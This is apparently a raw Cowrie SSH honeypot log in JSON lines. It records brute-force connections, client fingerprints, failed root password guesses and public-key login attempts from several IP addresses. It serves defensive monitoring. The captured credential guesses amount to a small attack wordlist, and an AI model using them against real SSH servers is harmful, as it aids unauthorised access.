{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:48.382702Z","src_ip":"190.244.39.224","session":"bf5e00e72368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60698,"dst_ip":"10.17.0.5","dst_port":22,"session":"c52fc82f62a4","protocol":"ssh","message":"New connection: 8.210.75.243:60698 (10.17.0.5:22) [session: c52fc82f62a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:49.882980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:49.886366Z","src_ip":"8.210.75.243","session":"c52fc82f62a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.168.184","src_port":50834,"dst_ip":"159.203.135.109","dst_port":22,"session":"875b226c676c","protocol":"ssh","message":"New connection: 59.152.168.184:50834 (159.203.135.109:22) [session: 875b226c676c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:51.450897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:51.454773Z","src_ip":"59.152.168.184","session":"875b226c676c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:51.667266Z","src_ip":"59.152.168.184","session":"875b226c676c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:51.739888Z","src_ip":"8.210.75.243","session":"c05ca5a86813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"As!123456","message":"login attempt [root/As!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:52.545331Z","src_ip":"59.152.168.184","session":"875b226c676c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:50:53.759371Z","src_ip":"59.152.168.184","session":"875b226c676c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":36710,"dst_ip":"159.203.135.109","dst_port":22,"session":"e966aa17df50","protocol":"ssh","message":"New connection: 159.65.58.200:36710 (159.203.135.109:22) [session: e966aa17df50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:01.299576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:01.501860Z","src_ip":"159.65.58.200","session":"e966aa17df50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:01.506117Z","src_ip":"159.65.58.200","session":"e966aa17df50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smosa","password":"123456","message":"login attempt [smosa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:02.618982Z","src_ip":"159.65.58.200","session":"e966aa17df50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:04.094821Z","src_ip":"159.65.58.200","session":"e966aa17df50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.112","src_port":46232,"dst_ip":"10.17.0.5","dst_port":22,"session":"46f3286431d5","protocol":"ssh","message":"New connection: 78.111.67.112:46232 (10.17.0.5:22) [session: 46f3286431d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:07.287647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:07.290568Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:07.385244Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:d8:62:fa:b9:5c:fd:8e:9b:95:ca:81:b0:90:b1:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHA2BZRIaeeIYNdN7dYDXQ10zUJqrROSc2FD9qLMuZHdyiLdteLZxgho5jRHaDnrbFD2wvkbMAiXRqpQw0LOjPy9gh9pNcsU0ayg1Vv9uP+MTikIFCsvKGo0oKbVKwkfGrd3NJoLJhbYTaUOzHWkG2hwLBiSZUyf9lytlpp+nVg+HJG9G01JC1z5azxrXunMHiNE8zxaDKlNYDVxcNXlLsvEXkAv39n/bf+Zu7w+TahgMPYnw5K7w/FJ2dGXaJNwxLQvE2ssOTBgYy0Jldt1NcQmFIf29Q9cTGlU4dRhbGuiK1ngqiuQCrtObaiYtYK82vAhxdFbbh1jeZpkW7uZLz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:d8:62:fa:b9:5c:fd:8e:9b:95:ca:81:b0:90:b1:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:07.905445Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:d8:62:fa:b9:5c:fd:8e:9b:95:ca:81:b0:90:b1:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHA2BZRIaeeIYNdN7dYDXQ10zUJqrROSc2FD9qLMuZHdyiLdteLZxgho5jRHaDnrbFD2wvkbMAiXRqpQw0LOjPy9gh9pNcsU0ayg1Vv9uP+MTikIFCsvKGo0oKbVKwkfGrd3NJoLJhbYTaUOzHWkG2hwLBiSZUyf9lytlpp+nVg+HJG9G01JC1z5azxrXunMHiNE8zxaDKlNYDVxcNXlLsvEXkAv39n/bf+Zu7w+TahgMPYnw5K7w/FJ2dGXaJNwxLQvE2ssOTBgYy0Jldt1NcQmFIf29Q9cTGlU4dRhbGuiK1ngqiuQCrtObaiYtYK82vAhxdFbbh1jeZpkW7uZLz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:07.908119Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:3f:51:49:fb:28:91:29:8a:01:d7:91:f3:d9:8d:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIGHHSiOJskGGzdwJCZmI72Ho6iBvPaaB8JFMM8+JZAoYoNEWzrPFOrubQFpyEQ0hcsGJs2XZpG93pvDegykgj/iVAhvuJJoYrIi/EDuKBLdVDqlNLC9BcKv9lRxSv/mJomfvlL2rvXRwMt3zNfoN4qGN9TOrIO7QkboUCS6R9dBOYQ3aCZyTxeN245tySSJ1IKLpaZ04//O9RpaLkGDcdHgY+5lYKpn4M5VVcCxNBrTPQF7o8861/wQltbTRjuat3hdlv+WbgsgNc6S6rRxSKS9TzbZ309cou8lRwu5lbhxTYBDBlqry9sAlN6pxl0Z/HQt5BVMJtfLH3R5JxHoFZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:3f:51:49:fb:28:91:29:8a:01:d7:91:f3:d9:8d:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:07.994356Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:3f:51:49:fb:28:91:29:8a:01:d7:91:f3:d9:8d:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIGHHSiOJskGGzdwJCZmI72Ho6iBvPaaB8JFMM8+JZAoYoNEWzrPFOrubQFpyEQ0hcsGJs2XZpG93pvDegykgj/iVAhvuJJoYrIi/EDuKBLdVDqlNLC9BcKv9lRxSv/mJomfvlL2rvXRwMt3zNfoN4qGN9TOrIO7QkboUCS6R9dBOYQ3aCZyTxeN245tySSJ1IKLpaZ04//O9RpaLkGDcdHgY+5lYKpn4M5VVcCxNBrTPQF7o8861/wQltbTRjuat3hdlv+WbgsgNc6S6rRxSKS9TzbZ309cou8lRwu5lbhxTYBDBlqry9sAlN6pxl0Z/HQt5BVMJtfLH3R5JxHoFZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:07.997379Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:84:3e:8b:c9:73:7a:57:d7:dd:df:2a:76:d6:2a:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLG13n7fububV6O0vsH2gN+U8UzpX7WiqyaZ186doQGCdnB07+G6gXnRbBbqrvqzQU69Ru8DbON+Glo3AlHWJHisC/SgSpocjLWImOvoIvS9na7+usmtz3JkI8izXqiZjhOa5TEdXGQ2Dtt2vZ1EIDFa0/gtuSmVxtJ6A+szThQFs87FbB/FNBo6as6bbu4RqEU4NykF0H3Km1F34CO04T3w7V09vquQ3nbbMTxRL+4uJeZI2CgX1PH6MqA7wMMxz3tEyGNgFb7p/Fqjd3u4ae7F51ci9r3v0UWfp76qgGAcwZCOFu2Ha2fuLOx1O3XJ0c66wzKODN53nllnhMLJpapvcHBYQ1eb936rnkGd9SKke47R/wFKkpNa8dyXDzgcu+BQBcFO3/0PQ3cxR9ll0ifuGQE1GGkSxGXWuLamP9TG2h0ZITZRLRhAv8dT83dgiS4wKY1BHPkhZwSFMxoioVNK1dvu60+0SXcFunIEpoUXheLWBs7rJV98ie+XSVs+l3JSvHD23AvBhMimCnZYJqpBPYojXBicGmBw3qRyC+38EVo6JU9P+Q1EeV8t/nvau31VjqR8ISBaVxSZK05e6vw0Wr2MH1PrLXsumbZ46IUFI/ukeifWILB4ZEfPuxQc1R26PeMJDtW4z/eg/Di+Q8PRxS1WtCgLeNfZezOmL+Sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:84:3e:8b:c9:73:7a:57:d7:dd:df:2a:76:d6:2a:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:08.088792Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:84:3e:8b:c9:73:7a:57:d7:dd:df:2a:76:d6:2a:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLG13n7fububV6O0vsH2gN+U8UzpX7WiqyaZ186doQGCdnB07+G6gXnRbBbqrvqzQU69Ru8DbON+Glo3AlHWJHisC/SgSpocjLWImOvoIvS9na7+usmtz3JkI8izXqiZjhOa5TEdXGQ2Dtt2vZ1EIDFa0/gtuSmVxtJ6A+szThQFs87FbB/FNBo6as6bbu4RqEU4NykF0H3Km1F34CO04T3w7V09vquQ3nbbMTxRL+4uJeZI2CgX1PH6MqA7wMMxz3tEyGNgFb7p/Fqjd3u4ae7F51ci9r3v0UWfp76qgGAcwZCOFu2Ha2fuLOx1O3XJ0c66wzKODN53nllnhMLJpapvcHBYQ1eb936rnkGd9SKke47R/wFKkpNa8dyXDzgcu+BQBcFO3/0PQ3cxR9ll0ifuGQE1GGkSxGXWuLamP9TG2h0ZITZRLRhAv8dT83dgiS4wKY1BHPkhZwSFMxoioVNK1dvu60+0SXcFunIEpoUXheLWBs7rJV98ie+XSVs+l3JSvHD23AvBhMimCnZYJqpBPYojXBicGmBw3qRyC+38EVo6JU9P+Q1EeV8t/nvau31VjqR8ISBaVxSZK05e6vw0Wr2MH1PrLXsumbZ46IUFI/ukeifWILB4ZEfPuxQc1R26PeMJDtW4z/eg/Di+Q8PRxS1WtCgLeNfZezOmL+Sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:08.091882Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:2a:8e:be:16:b4:69:e0:56:a4:53:51:34:6b:c5:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt2ZJ4Hzkf1PhRGtE6dwud+iblqUfBLsqrTp7yDawe13FxmYW7t0ncMCVHim8hCCVF8bKqr84FTU4sGVTKcawVky9+E86pbicKZY6jjic+gYalv+Cp+gzQsy+e7C+8g9JM1/fPRY9N3xAv68dTSctw962Q9n6CNZia7RtWQq76H/WqJlFNZD7Xzibqcl64Z6XjuxXHkaMSM5t07BoyvAmC8aC5t86x2Ap5g4L2nUDdO5ZRghAYuVGpzy9SAffLEXjv6Ebk61MK9IbaLjILaEehU2dn67Ut2hM7NU7lozuFeCEDaphkZbDbJpN8vGAIdtQI2uQAEUNNu+tGusrl5jNnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:2a:8e:be:16:b4:69:e0:56:a4:53:51:34:6b:c5:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:08.183423Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:2a:8e:be:16:b4:69:e0:56:a4:53:51:34:6b:c5:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt2ZJ4Hzkf1PhRGtE6dwud+iblqUfBLsqrTp7yDawe13FxmYW7t0ncMCVHim8hCCVF8bKqr84FTU4sGVTKcawVky9+E86pbicKZY6jjic+gYalv+Cp+gzQsy+e7C+8g9JM1/fPRY9N3xAv68dTSctw962Q9n6CNZia7RtWQq76H/WqJlFNZD7Xzibqcl64Z6XjuxXHkaMSM5t07BoyvAmC8aC5t86x2Ap5g4L2nUDdO5ZRghAYuVGpzy9SAffLEXjv6Ebk61MK9IbaLjILaEehU2dn67Ut2hM7NU7lozuFeCEDaphkZbDbJpN8vGAIdtQI2uQAEUNNu+tGusrl5jNnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:08.186558Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:cd:19:5c:0a:1e:90:8c:85:8f:89:f0:af:22:a2:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDEGevO0WA3z+DiLHTfJ3E7pielPStij2Xg1LJp+hW2184PtC2FeyqqfEVFTWZljMnEf3ENJyeF4gWoSV/IO28Yc9ClrffAOIk5fafP2NZm0k0EM95+g2G+hzMY+amK53zzI1bN5HuD58TlBYew+9gJ+GcMdX66gMyCu4wzbJqGVrsiKqhWKV+QPqxG0eY30wtgmTMH1wpGz41SCro/19Z4W0mqbQW0qZAt47Bnz6CfwlbJGJ2D1m4DHIosBnRH6tj2AtV7a+jNKhFtlWAhqIpc/iOLD/bD/BL7YLV6g7h7GyF/DuNxF4W7lBsTi3NQecgeeYPDlSp+TaXxGit3pj3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:cd:19:5c:0a:1e:90:8c:85:8f:89:f0:af:22:a2:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:08.592559Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:cd:19:5c:0a:1e:90:8c:85:8f:89:f0:af:22:a2:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDEGevO0WA3z+DiLHTfJ3E7pielPStij2Xg1LJp+hW2184PtC2FeyqqfEVFTWZljMnEf3ENJyeF4gWoSV/IO28Yc9ClrffAOIk5fafP2NZm0k0EM95+g2G+hzMY+amK53zzI1bN5HuD58TlBYew+9gJ+GcMdX66gMyCu4wzbJqGVrsiKqhWKV+QPqxG0eY30wtgmTMH1wpGz41SCro/19Z4W0mqbQW0qZAt47Bnz6CfwlbJGJ2D1m4DHIosBnRH6tj2AtV7a+jNKhFtlWAhqIpc/iOLD/bD/BL7YLV6g7h7GyF/DuNxF4W7lBsTi3NQecgeeYPDlSp+TaXxGit3pj3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:08.595296Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:08.681831Z","src_ip":"78.111.67.112","session":"46f3286431d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":48064,"dst_ip":"10.17.0.5","dst_port":22,"session":"97db8a6491a7","protocol":"ssh","message":"New connection: 213.202.230.81:48064 (10.17.0.5:22) [session: 97db8a6491a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:17.340356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:17.344035Z","src_ip":"213.202.230.81","session":"97db8a6491a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:17.437457Z","src_ip":"213.202.230.81","session":"97db8a6491a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"V0y@g3r$S3cur3#P@ss","message":"login attempt [root/V0y@g3r$S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:17.845739Z","src_ip":"213.202.230.81","session":"97db8a6491a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:18.942025Z","src_ip":"213.202.230.81","session":"97db8a6491a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60598,"dst_ip":"159.203.135.109","dst_port":22,"session":"356c50726680","protocol":"ssh","message":"New connection: 103.27.238.120:60598 (159.203.135.109:22) [session: 356c50726680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:38.518842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:38.524478Z","src_ip":"103.27.238.120","session":"356c50726680","protocol":"ssh"}
